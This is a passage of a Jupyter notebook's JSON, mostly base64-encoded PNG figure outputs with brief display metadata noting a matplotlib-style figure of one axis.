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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": { "tags": [] }, "output_type": "display_data" }, { "data": { "image/png": "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